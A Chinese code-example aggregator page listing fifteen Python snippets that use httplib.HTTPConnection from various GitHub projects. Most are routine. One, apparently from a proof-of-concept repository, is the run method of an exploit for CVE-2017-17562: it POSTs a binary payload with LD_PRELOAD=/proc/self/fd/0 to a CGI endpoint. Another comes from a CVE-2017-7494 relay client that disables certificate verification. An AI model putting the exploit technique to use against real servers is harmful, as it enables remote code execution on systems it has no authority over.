當前位置: 首頁>>代碼示例>>Python>>正文


Python httplib.HTTPConnection方法代碼示例

本文整理匯總了Python中httplib.HTTPConnection方法的典型用法代碼示例。如果您正苦於以下問題:Python httplib.HTTPConnection方法的具體用法?Python httplib.HTTPConnection怎麽用?Python httplib.HTTPConnection使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在httplib的用法示例。


在下文中一共展示了httplib.HTTPConnection方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: __init__

# 需要導入模塊: import httplib [as 別名]
# 或者: from httplib import HTTPConnection [as 別名]
def __init__(
        self,
        host,
        port=None,
        key_file=None,
        cert_file=None,
        strict=None,
        timeout=None,
        proxy_info=None,
        ca_certs=None,
        disable_ssl_certificate_validation=False,
        ssl_version=None,
    ):
        httplib.HTTPConnection.__init__(
            self, host, port=port, strict=strict, timeout=timeout
        ) 
開發者ID:remg427,項目名稱:misp42splunk,代碼行數:18,代碼來源:__init__.py

示例2: do_command

# 需要導入模塊: import httplib [as 別名]
# 或者: from httplib import HTTPConnection [as 別名]
def do_command(self, verb, args):
        conn = httplib.HTTPConnection(self.host, self.port)
        body = u'cmd=' + urllib.quote_plus(unicode(verb).encode('utf-8'))
        for i in range(len(args)):
            body += '&' + unicode(i+1) + '=' + urllib.quote_plus(unicode(args[i]).encode('utf-8'))
        if (None != self.sessionId):
            body += "&sessionId=" + unicode(self.sessionId)
        headers = {"Content-Type": "application/x-www-form-urlencoded; charset=utf-8"}
        conn.request("POST", "/selenium-server/driver/", body, headers)
    
        response = conn.getresponse()
        #print response.status, response.reason
        data = unicode(response.read(), "UTF-8")
        result = response.reason
        #print "Selenium Result: " + repr(data) + "\n\n"
        if (not data.startswith('OK')):
            raise Exception, data
        return data 
開發者ID:elsigh,項目名稱:browserscope,代碼行數:20,代碼來源:selenium.py

示例3: test_connection_error

# 需要導入模塊: import httplib [as 別名]
# 或者: from httplib import HTTPConnection [as 別名]
def test_connection_error(self):
    self.proxy = http_runtime.HttpRuntimeProxy(
        ['/runtime'], self.runtime_config_getter, appinfo.AppInfoExternal())
    self.proxy._process = self.mox.CreateMockAnything()
    login.get_user_info(None).AndReturn(('', False, ''))
    httplib.HTTPConnection.connect().AndRaise(socket.error())
    self.proxy._process.poll().AndReturn(None)
    httplib.HTTPConnection.close()

    self.mox.ReplayAll()
    self.assertRaises(socket.error,
                      self.proxy.handle(
                          {'PATH_INFO': '/'},
                          start_response=None,  # Not used.
                          url_map=self.url_map,
                          match=re.match(self.url_map.url, '/get%20error'),
                          request_id='request id',
                          request_type=instance.NORMAL_REQUEST).next)
    self.mox.VerifyAll() 
開發者ID:elsigh,項目名稱:browserscope,代碼行數:21,代碼來源:http_runtime_test.py

示例4: test_start_and_not_serving

# 需要導入模塊: import httplib [as 別名]
# 或者: from httplib import HTTPConnection [as 別名]
def test_start_and_not_serving(self):
    safe_subprocess.start_process(
        ['/runtime'],
        base64.b64encode(self.runtime_config.SerializeToString()),
        stdout=subprocess.PIPE,
        env={'foo': 'bar'},
        cwd=self.tmpdir).AndReturn(self.process)
    self.process.stdout.readline().AndReturn('34567')

    httplib.HTTPConnection.connect().AndRaise(socket.error)
    httplib.HTTPConnection.close()
    shutdown.async_quit()

    self.mox.ReplayAll()
    self.proxy.start()
    self.mox.VerifyAll() 
開發者ID:elsigh,項目名稱:browserscope,代碼行數:18,代碼來源:http_runtime_test.py

示例5: __init__

# 需要導入模塊: import httplib [as 別名]
# 或者: from httplib import HTTPConnection [as 別名]
def __init__(self,
               request,
               client_address,
               connection_handler=httplib.HTTPConnection):
    """Constructor extending BaseHTTPRequestHandler.

    Args:
      request: The incoming request.
      client_address: A (ip, port) tuple with the address of the client.
      backend: The HTTPServer that received the request.
      connection_handler: http library to use when balancer the connection to
        the next available backend instance. Used for dependency injection.
    """
    self.connection_handler = connection_handler
    BaseHTTPServer.BaseHTTPRequestHandler.__init__(self,
                                                   request,
                                                   client_address,
                                                   HttpServer()) 
開發者ID:elsigh,項目名稱:browserscope,代碼行數:20,代碼來源:dev_appserver_multiprocess.py

示例6: work

# 需要導入模塊: import httplib [as 別名]
# 或者: from httplib import HTTPConnection [as 別名]
def work(IP):
		conn = httplib.HTTPConnection("www.iknowwhatyoudownload.com/en/peer/?ip="+IP)
		conn.request("GET","/")
		response = conn.getresponse()
		data =response.read()
		soup = BS(data,"html.parser")
		table = soup.find('tbody')
		rows = table.findAll('tr')
		for tr in rows:
			cols = tr.findAll('td')
			Begin,End,Category,title,size=[c.text for c in cols]
			RESULT+="\n"+Begin+" "+Category+" "+title+" "+size
		toplevel = Toplevel()
		label= Label(toplevel,text=RESULT,height=0,width=100)
		label.pack()
		print RESULT 
開發者ID:HoussemCharf,項目名稱:FunUtils,代碼行數:18,代碼來源:Torrent_ip_checker.py

示例7: status

# 需要導入模塊: import httplib [as 別名]
# 或者: from httplib import HTTPConnection [as 別名]
def status(self, status, **kwargs):
        if self.server:
            try:
                conn = HTTPConnection(self.server, self.port)
                conn.request('GET', '/version/')
                resp = conn.getresponse()

                if not resp.read().startswith('Experiment'):
                    raise RuntimeError()

                HTTPConnection(self.server, self.port).request('POST', '', str(dict({
                    'id': self.id,
                    'version': __version__,
                    'status': status,
                    'hostname': self.hostname,
                    'cwd': self.cwd,
                    'script_path': self.script_path,
                    'script': self.script,
                    'comment': self.comment,
                    'time': self.time,
                }, **kwargs)))
            except:
                warn('Unable to connect to \'{0}:{1}\'.'.format(self.server, self.port)) 
開發者ID:lucastheis,項目名稱:c2s,代碼行數:25,代碼來源:experiment.py

示例8: __init__

# 需要導入模塊: import httplib [as 別名]
# 或者: from httplib import HTTPConnection [as 別名]
def __init__(self, target):
        # Target comes as protocol://target:port/path
        self.target = target
        proto, host, path = target.split(':')
        host = host[2:]
        self.path = '/' + path.split('/', 1)[1]
        if proto.lower() == 'https':
            #Create unverified (insecure) context
            try:
                uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
                self.session = HTTPSConnection(host,context=uv_context)
            except AttributeError:
                #This does not exist on python < 2.7.11
                self.session = HTTPSConnection(host)
        else:
            self.session = HTTPConnection(host)
        self.lastresult = None 
開發者ID:joxeankoret,項目名稱:CVE-2017-7494,代碼行數:19,代碼來源:httprelayclient.py

示例9: processTarget

# 需要導入模塊: import httplib [as 別名]
# 或者: from httplib import HTTPConnection [as 別名]
def processTarget(self, t, port):
        if not self.seentarget(t + str(port)):
            self.addseentarget(t + str(port))
            self.display.verbose(self.shortName + " - Connecting to " + t)
            try:
                conn = httplib.HTTPConnection(t, port, timeout=10)

                conn.request('GET', '/')
                response = conn.getresponse()
                serverver = response.getheader('server')
                if (serverver):
                    outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + str(
                        port) + "_" + Utils.getRandStr(10)
                    Utils.writeFile("Identified Server Version of %s : %s\n\nFull Headers:\n%s" % (
                        t, serverver, self.print_dict(response.getheaders())), outfile)
                    kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))

            except httplib.BadStatusLine:
                pass
            # except socket.error as e:
            except:
                pass 
開發者ID:tatanus,項目名稱:apt2,代碼行數:24,代碼來源:scan_httpserverversion.py

示例10: make_connection

# 需要導入模塊: import httplib [as 別名]
# 或者: from httplib import HTTPConnection [as 別名]
def make_connection(self, host):
        #return an existing connection if possible.  This allows
        #HTTP/1.1 keep-alive.
        if self._connection and host == self._connection[0]:
            return self._connection[1]

        # create a HTTP connection object from a host descriptor
        chost, self._extra_headers, x509 = self.get_host_info(host)
        #store the host argument along with the connection object
        self._connection = host, httplib.HTTPConnection(chost)
        return self._connection[1]

    ##
    # Clear any cached connection object.
    # Used in the event of socket errors.
    # 
開發者ID:glmcdona,項目名稱:meddle,代碼行數:18,代碼來源:xmlrpclib.py

示例11: sspi_client

# 需要導入模塊: import httplib [as 別名]
# 或者: from httplib import HTTPConnection [as 別名]
def sspi_client():
    c = httplib.HTTPConnection("localhost", options.port)
    c.connect()
    # Do the auth dance.
    ca = sspi.ClientAuth(options.package, targetspn=options.target_spn)
    data = None
    while 1:
        err, out_buf = ca.authorize(data)
        _send_msg(c.sock, out_buf[0].Buffer)
        if err==0:
            break
        data = _get_msg(c.sock)
    print "Auth dance complete - sending a few encryted messages"
    # Assume out data is sensitive - encrypt the message.
    for data in "Hello from the client".split():
        blob, key = ca.encrypt(data)
        _send_msg(c.sock, blob)
        _send_msg(c.sock, key)
    c.sock.close()
    print "Client completed." 
開發者ID:IronLanguages,項目名稱:ironpython2,代碼行數:22,代碼來源:socket_server.py

示例12: test_ipv6host_header

# 需要導入模塊: import httplib [as 別名]
# 或者: from httplib import HTTPConnection [as 別名]
def test_ipv6host_header(self):
        # Default host header on IPv6 transaction should be wrapped by [] if
        # it is an IPv6 address
        expected = 'GET /foo HTTP/1.1\r\nHost: [2001::]:81\r\n' \
                   'Accept-Encoding: identity\r\n\r\n'
        conn = httplib.HTTPConnection('[2001::]:81')
        sock = FakeSocket('')
        conn.sock = sock
        conn.request('GET', '/foo')
        self.assertTrue(sock.data.startswith(expected))

        expected = 'GET /foo HTTP/1.1\r\nHost: [2001:102A::]\r\n' \
                   'Accept-Encoding: identity\r\n\r\n'
        conn = httplib.HTTPConnection('[2001:102A::]')
        sock = FakeSocket('')
        conn.sock = sock
        conn.request('GET', '/foo')
        self.assertTrue(sock.data.startswith(expected)) 
開發者ID:IronLanguages,項目名稱:ironpython2,代碼行數:20,代碼來源:test_httplib.py

示例13: main

# 需要導入模塊: import httplib [as 別名]
# 或者: from httplib import HTTPConnection [as 別名]
def main(self):
        os.system('sudo service tor restart')
        _TOR()._connectTOR()
        
        print " * Connected to TOR..."
        time.sleep(1)
        print " * Please wait.. now checking your IP..."
        
        conn = httplib.HTTPConnection(self.ip)
        conn.request("GET", "/")
        response = conn.getresponse()
        #print response.status, response.reason
        #print (response.read())
        
        f =  urllib2.urlopen("http://"+self.ip)
        print f.read()

        _TOR()._newIdentity()

        conn = httplib.HTTPConnection(self.ip)
        conn.request("GET", "/")
        response = conn.getresponse()
        #print response.status, response.reason
        print (response.read()) 
開發者ID:agusmakmun,項目名稱:Some-Examples-of-Simple-Python-Script,代碼行數:26,代碼來源:TOR.py

示例14: run

# 需要導入模塊: import httplib [as 別名]
# 或者: from httplib import HTTPConnection [as 別名]
def run(self):
        '''
        run PoC
        '''
        _url = '/cgi-bin/' +  self.cgiroute + '?LD_PRELOAD=/proc/self/fd/0'
        _payload_data = self._loadBinarypayload()
        
        headers = {"Host": self.server,
                    "User-Agent": "curl/7.51.0",
                    "Accept": "*/*",
                    "Content-Length": str(len(_payload_data))}
        conn = httplib.HTTPConnection(self.server, self.port)
        conn.connect()
        conn.request("POST", _url, _payload_data, headers)

        try:
            res = conn.getresponse()
            self._verify(res)
        except Exception as e:
            print(">>> error encountered! {}".format(str(e)))
        
        conn.close() 
開發者ID:cyber-prog0x,項目名稱:PoC-Bank,代碼行數:24,代碼來源:CVE-2017-17562.py

示例15: __init__

# 需要導入模塊: import httplib [as 別名]
# 或者: from httplib import HTTPConnection [as 別名]
def __init__(self):
    self.httpClient = httplib.HTTPConnection('localhost', 9528, timeout=30) 
開發者ID:yourtion,項目名稱:Alfred_ShadowsocksController,代碼行數:4,代碼來源:SSR.py


注:本文中的httplib.HTTPConnection方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。